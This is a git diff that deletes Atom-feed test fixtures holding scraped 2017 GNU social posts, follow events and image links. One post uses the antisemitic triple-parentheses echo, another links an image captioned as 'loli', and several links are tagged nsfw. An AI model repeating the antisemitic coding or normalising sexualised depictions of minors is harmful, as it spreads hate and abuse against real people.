tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061696:2017-05-05T09:06:10+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> <br /> <span class="greentext">&gt; (((common era)))</span> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:06:10+00:00 - 2017-05-05T09:06:10+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827918:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> <br /> <span class="greentext">&gt; (((common era)))</span> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:note:2061673:2017-05-05T08:58:28+00:00 - Favorite - lambadalambda favorited something by moonman: discussion is one thing but any argument I've heard over and over again for the last three decades is going to go unanswered. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:58:28+00:00 - 2017-05-05T08:58:28+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2827895:objectType=note - New note by moonman - discussion is one thing but any argument I've heard over and over again for the last three decades is going to go unanswered. - - - - - - - https://shitposter.club/conversation/1390494 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061280:2017-05-05T08:47:38+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> sex is for procreation and as an expression of intimacy between commited couples, it is a sacramental act - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:47:38+00:00 - 2017-05-05T08:47:38+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827561:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> sex is for procreation and as an expression of intimacy between commited couples, it is a sacramental act - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:note:2061535:2017-05-05T08:40:55+00:00 - Favorite - lambadalambda favorited something by fortune: What did Mickey Mouse get for Christmas?<br /> <br /> A Dan Quayle watch.<br /> <br /> -- heard from a Mike Dukakis field worker - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:40:55+00:00 - 2017-05-05T08:40:55+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-05:noticeId=2061535:objectType=note - New note by fortune - What did Mickey Mouse get for Christmas?<br /> <br /> A Dan Quayle watch.<br /> <br /> -- heard from a Mike Dukakis field worker - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=5185e5c145ee4762 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061421:2017-05-05T08:36:27+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://maly.io/users/sonya" class="h-card mention" title="Sonya Mann ✅">sonya</a> banned from 4chan. you better watch ou. i'm trouble, y'hear? - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:36:27+00:00 - 2017-05-05T08:36:27+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827689:objectType=comment - New comment by moonman - @<a href="https://maly.io/users/sonya" class="h-card mention" title="Sonya Mann ✅">sonya</a> banned from 4chan. you better watch ou. i'm trouble, y'hear? - - - - - - - https://shitposter.club/conversation/1389345 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061351:2017-05-05T08:28:03+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://social.heldscal.la/user/29138" class="h-card mention" title="Claes Wallin (韋嘉誠)">clacke</a> is that the sequel to Time Crisis - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:28:03+00:00 - 2017-05-05T08:28:03+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827630:objectType=comment - New comment by moonman - @<a href="https://social.heldscal.la/user/29138" class="h-card mention" title="Claes Wallin (韋嘉誠)">clacke</a> is that the sequel to Time Crisis - - - - - - - https://shitposter.club/conversation/1385528 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061339:2017-05-05T08:21:05+00:00 - Favorite - lambadalambda favorited something by hardbass2k8: @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> pretty sure it's money laundering - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:21:05+00:00 - 2017-05-05T08:21:05+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827617:objectType=comment - New comment by hardbass2k8 - @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> pretty sure it's money laundering - - - - - - - https://shitposter.club/conversation/1387523 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-05:noticeId=2061303:objectType=note - New note by lambadalambda - It's got tattoos, it's got a pierced hood<br /> It's got generation X<br /> It's got lesbians, and vitriol<br /> And sadomasochistic latex sex<br /> It's got Mighty Morphin' power brokers<br /> And Tanya Harding nude<br /> Macrobiotic lacto-vegan non-confrontational free range food<br /> It's got the handshake, peace talk, non-aggression pact<br /> A multicultural integration of segregated historical facts<br /> <br /> #<span class="tag"><a href="https://social.heldscal.la/tag/nsfw" rel="tag">nsfw</a></span> <a href="https://social.heldscal.la/file/61c13b99c92f40ec4865e7a3830da340b187e3de70d94b8da38fd2138bbede3a.jpg" title="https://social.heldscal.la/file/61c13b99c92f40ec4865e7a3830da340b187e3de70d94b8da38fd2138bbede3a.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432199">https://social.heldscal.la/attachment/432199</a> <a href="https://social.heldscal.la/file/a88bba1a324da68ee2cfdbcd1c4cde60bd9553298244d6f81731270b71aa80df.jpg" title="https://social.heldscal.la/file/a88bba1a324da68ee2cfdbcd1c4cde60bd9553298244d6f81731270b71aa80df.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432200">https://social.heldscal.la/attachment/432200</a> <a href="https://social.heldscal.la/file/887329a303250e73dc2eea06b1f0512fcac4b9d1b534068f03c45f00d5b21c39.jpg" title="https://social.heldscal.la/file/887329a303250e73dc2eea06b1f0512fcac4b9d1b534068f03c45f00d5b21c39.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432201">https://social.heldscal.la/attachment/432201</a> <a href="https://social.heldscal.la/file/6d7a1ec15c1368c4c68810434d24da528606fcbccdd1da97b25affafeeb6ffda.jpg" title="https://social.heldscal.la/file/6d7a1ec15c1368c4c68810434d24da528606fcbccdd1da97b25affafeeb6ffda.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432202">https://social.heldscal.la/attachment/432202</a> <a href="https://social.heldscal.la/file/2f55f2bb028eb9be744cc82b35a6b86b496d8c3924c700aff55a872ff11df54c.jpg" title="https://social.heldscal.la/file/2f55f2bb028eb9be744cc82b35a6b86b496d8c3924c700aff55a872ff11df54c.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432203">https://social.heldscal.la/attachment/432203</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T08:17:08+00:00 - 2017-05-05T08:17:08+00:00 - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=bb6f4343036970e8 - - - - - - - - - - - - diff --git a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml b/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml deleted file mode 100644 index f70fbc695..000000000 --- a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml +++ /dev/null @@ -1,719 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/29191.atom - shp timeline - Updates from shp on social.heldscal.la! - https://social.heldscal.la/avatar/29191-96-20170421154949.jpeg - 2017-05-05T11:57:06+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/29191 - shp - cofe - - - - - - shp - shp - cofe - - cofe - - - - - - - - - - - - - - tag:social.heldscal.la,2017-04-29:noticeId=1967657:objectType=note - shp repeated a notice by lain - RT @<a href="https://social.heldscal.la/user/37181" class="h-card u-url p-nickname mention" title="Lain Iwakura">lain</a> @<a href="https://social.heldscal.la/user/29191" class="h-card u-url p-nickname mention" title="shp">shp</a> @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention">lambadalambda</a> cofe. - - http://activitystrea.ms/schema/1.0/share - 2017-04-29T18:19:34+00:00 - 2017-04-29T18:19:34+00:00 - - http://activitystrea.ms/schema/1.0/activity - https://pleroma.soykaf.com/activities/43d12c05-db3f-4f3d-bee1-d676f264490c - - <a href="https://pleroma.soykaf.com/users/shp">@shp</a> <a href="https://social.heldscal.la/user/23211">@lambadalambda@social.heldscal.la</a> cofe. - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T18:14:36+00:00 - 2017-04-29T18:14:36+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - Test account - - - - - - lain - Lain Iwakura - Test account - - - - http://activitystrea.ms/schema/1.0/note - https://pleroma.soykaf.com/activities/43d12c05-db3f-4f3d-bee1-d676f264490c - New note by lain - <a href="https://pleroma.soykaf.com/users/shp">@shp</a> <a href="https://social.heldscal.la/user/23211">@lambadalambda@social.heldscal.la</a> cofe. - - - - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=e0b75431888efdab - - - https://pleroma.soykaf.com/users/lain/feed.atom - Lain Iwakura - - - https://social.heldscal.la/avatar/43188-96-20170429172422.jpeg - 2017-05-05T08:38:03+00:00 - - - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=e0b75431888efdab - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:29558:2017-04-27T17:26:37+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:26:37 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://gs.smuglo.li/kfist">KFist</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:26:37+00:00 - 2017-04-27T17:26:37+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.smuglo.li/user/28051 - KFist - I stream thanks to @nepfag. I also drink, shitpost, and fly planes. I visited Japan and it changed my life. Do you love your station? - - - - - - kfist - KFist - I stream thanks to @nepfag. I also drink, shitpost, and fly planes. I visited Japan and it changed my life. Do you love your station? - - homepage - http://smuglo.li:8000/stream.m3u - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=f766240d13ed9c2e - - - - - - - tag:social.heldscal.la,2017-04-27:noticeId=1933030:objectType=note - shp repeated a notice by shpbot - RT @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> &gt;QuakeC - - http://activitystrea.ms/schema/1.0/share - 2017-04-27T17:21:10+00:00 - 2017-04-27T17:21:10+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.archae.me,2017-04-27:noticeId=760881:objectType=note - - <span class='greentext'>&gt;QuakeC</span> - - http://activitystrea.ms/schema/1.0/post - 2017-04-27T17:15:13+00:00 - 2017-04-27T17:15:13+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.archae.me/user/4687 - shpbot - - - - - - shpbot - shpbot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.archae.me,2017-04-27:noticeId=760881:objectType=note - New note by shpbot - <span class='greentext'>&gt;QuakeC</span> - - - - - https://gs.archae.me/conversation/318362 - - - https://gs.archae.me/api/statuses/user_timeline/4687.atom - shpbot - - - https://social.heldscal.la/avatar/31581-original-20170405170019.jpeg - 2017-05-05T11:45:08+00:00 - - - - https://gs.archae.me/conversation/318362 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:23226:2017-04-27T17:20:48+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:48 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="http://quitter.se/taknamay">Internet Turtle Ⓐ 🏴 ✅</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:48+00:00 - 2017-04-27T17:20:48+00:00 - - http://activitystrea.ms/schema/1.0/person - http://quitter.se/user/115823 - Internet Turtle Ⓐ 🏴 ✅ - Scheme programmer, Novice esperantist, Spiritual naturalist - Will listen to your problems for free - XMPP: DarkDungeons94 at chatme.im - - - - - - taknamay - Internet Turtle Ⓐ 🏴 ✅ - Scheme programmer, Novice esperantist, Spiritual naturalist - Will listen to your problems for free - XMPP: DarkDungeons94 at chatme.im - - New Jersey, United States - - - homepage - https://quitter.se/taknamay - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=a66b1fb22020c152 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:29302:2017-04-27T17:20:33+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:33 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://icosahedron.website/@Trev">Chillidan Stormrave</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:33+00:00 - 2017-04-27T17:20:33+00:00 - - http://activitystrea.ms/schema/1.0/person - https://icosahedron.website/users/Trev - Trev Prime - web tech, music, ethics. radical individualist. kinda queer. love thy neighbor. always open for conversation. - - - - - - trev - Trev Prime - web tech, music, ethics. radical individualist. kinda queer. love thy neighbor. always open for conversation. - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=781c05bd64ad9520 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:29367:2017-04-27T17:20:27+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:27 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://gs.kawa-kun.com/aya">射命丸 文</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:27+00:00 - 2017-04-27T17:20:27+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.kawa-kun.com/user/4885 - 射命丸 文 - Traditional Reporter of Fantasy - - - - - - aya - 射命丸 文 - Traditional Reporter of Fantasy - - Gensōkyō - - - homepage - https://danbooru.donmai.us - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=5921da7a934e47ca - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:27773:2017-04-27T17:20:18+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:18 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://gs.smuglo.li/japananon">JapanAnon</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:18+00:00 - 2017-04-27T17:20:18+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.smuglo.li/user/27299 - JapanAnon - 匿名でしていてね! - - - - - - japananon - JapanAnon - 匿名でしていてね! - - ワイヤード - - - homepage - http://www.anonymous-japan.org - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=ae3d819865886cba - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:36560:2017-04-27T17:19:30+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:19:30 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://shitposter.club/wareya">wareya</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:19:30+00:00 - 2017-04-27T17:19:30+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/15439 - wareya - Who are you to defy such a perfect being that is the machine? 日本語難しいけど頑張るぜ github.com/wareya wareya.moe Short: reya or war, never "ware" - - - - - - wareya - wareya - Who are you to defy such a perfect being that is the machine? 日本語難しいけど頑張るぜ github.com/wareya wareya.moe Short: reya or war, never "ware" - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=bd88a3cd20b5a418 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:41176:2017-04-27T17:19:21+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:19:21 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://hakui.club/takeshitakenji">竹下憲二 (白)</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:19:21+00:00 - 2017-04-27T17:19:21+00:00 - - http://activitystrea.ms/schema/1.0/person - https://hakui.club/user/6 - 竹下憲二 (白) - Oh boy. - - - - - - takeshitakenji - 竹下憲二 (白) - Oh boy. - - Seattle, WA - - - homepage - http://gs.kawa-kun.com - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=b139a673deba6963 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932205:2017-04-27T17:17:46+00:00 - Favorite - shp favorited something by dolus: Looks like Merry is pussing out and caving to pressure. Sad. <a href="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" title="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432294</a> <a href="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" title="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432295</a> <a href="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" title="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432296</a> <a href="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" title="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432297</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:17:46+00:00 - 2017-04-27T17:17:46+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-04-27:noticeId=2065465:objectType=note - New note by dolus - Looks like Merry is pussing out and caving to pressure. Sad. <a href="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" title="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432294</a> <a href="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" title="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432295</a> <a href="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" title="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432296</a> <a href="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" title="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432297</a> - - - - - - - https://gs.smuglo.li/conversation/927473 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932492:2017-04-27T17:13:55+00:00 - Favorite - shp favorited something by zemichi: <a href="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" title="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432344</a><br /> that's a lot of loli - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:13:55+00:00 - 2017-04-27T17:13:55+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-04-27:noticeId=2065713:objectType=note - New note by zemichi - <a href="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" title="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432344</a><br /> that's a lot of loli - - - - - - - https://gs.smuglo.li/conversation/927673 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932559:2017-04-27T17:12:46+00:00 - Favorite - shp favorited something by gsimg: <a href="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" title="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" rel="nofollow noreferrer" class="attachment">https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg</a> #<span class="tag"><a href="https://gs.kawa-kun.com/tag/nsfw" rel="tag">nsfw</a></span> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:12:46+00:00 - 2017-04-27T17:12:46+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.kawa-kun.com,2017-04-27:noticeId=1608309:objectType=note - New note by gsimg - <a href="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" title="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" rel="nofollow noreferrer" class="attachment">https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg</a> #<span class="tag"><a href="https://gs.kawa-kun.com/tag/nsfw" rel="tag">nsfw</a></span> - - - - - - - https://gs.kawa-kun.com/conversation/690817 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932601:2017-04-27T17:12:28+00:00 - Favorite - shp favorited something by zemichi: <a href="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" title="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432372</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:12:28+00:00 - 2017-04-27T17:12:28+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-04-27:noticeId=2065821:objectType=note - New note by zemichi - <a href="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" title="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432372</a> - - - - - - - https://gs.smuglo.li/conversation/927760 - - - - - - - tag:social.heldscal.la,2017-04-27:noticeId=1932867:objectType=note - shp repeated a notice by shpbot - RT @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> <a href="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" title="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-237676">https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg</a> #<span class="tag"><a href="https://social.heldscal.la/tag/2hu" rel="tag">2hu</a></span> #<span class="tag"><a href="https://social.heldscal.la/tag/ordinarymagician" rel="tag">ordinarymagician</a></span> :thinking: <a href="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" title="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-312306">https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg</a> - - http://activitystrea.ms/schema/1.0/share - 2017-04-27T17:11:35+00:00 - 2017-04-27T17:11:35+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.archae.me,2017-04-27:noticeId=760830:objectType=note - - <a href="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" title="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg</a> #<span class="tag"><a href="https://gs.archae.me/tag/2hu" rel="tag">2hu</a></span> #<span class="tag"><a href="https://gs.archae.me/tag/ordinarymagician" rel="tag">ordinarymagician</a></span> :thinking: <a href="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" title="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg</a> - - http://activitystrea.ms/schema/1.0/post - 2017-04-27T17:00:08+00:00 - 2017-04-27T17:00:08+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.archae.me/user/4687 - shpbot - - - - - - shpbot - shpbot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.archae.me,2017-04-27:noticeId=760830:objectType=note - New note by shpbot - <a href="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" title="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg</a> #<span class="tag"><a href="https://gs.archae.me/tag/2hu" rel="tag">2hu</a></span> #<span class="tag"><a href="https://gs.archae.me/tag/ordinarymagician" rel="tag">ordinarymagician</a></span> :thinking: <a href="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" title="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg</a> - - - - - https://gs.archae.me/conversation/318317 - - - - - https://gs.archae.me/api/statuses/user_timeline/4687.atom - shpbot - - - https://social.heldscal.la/avatar/31581-original-20170405170019.jpeg - 2017-05-05T11:45:08+00:00 - - - - https://gs.archae.me/conversation/318317 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-27:noticeId=1932815:objectType=note - New note by shp - federation issues with SPC atm it seems - - - http://activitystrea.ms/schema/1.0/post - 2017-04-27T17:08:55+00:00 - 2017-04-27T17:08:55+00:00 - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=645a13c841f51769 - - - - - - - tag:social.heldscal.la,2017-04-26:fave:29191:note:1907285:2017-04-26T06:59:07+00:00 - Favorite - shp favorited something by lambadalambda: Is this the most offensive video on the net? <a href="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" title="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" rel="nofollow noreferrer" class="attachment">https://social.heldscal.la/attachment/402251</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-26T06:59:07+00:00 - 2017-04-26T06:59:07+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-26:noticeId=1907285:objectType=note - New note by 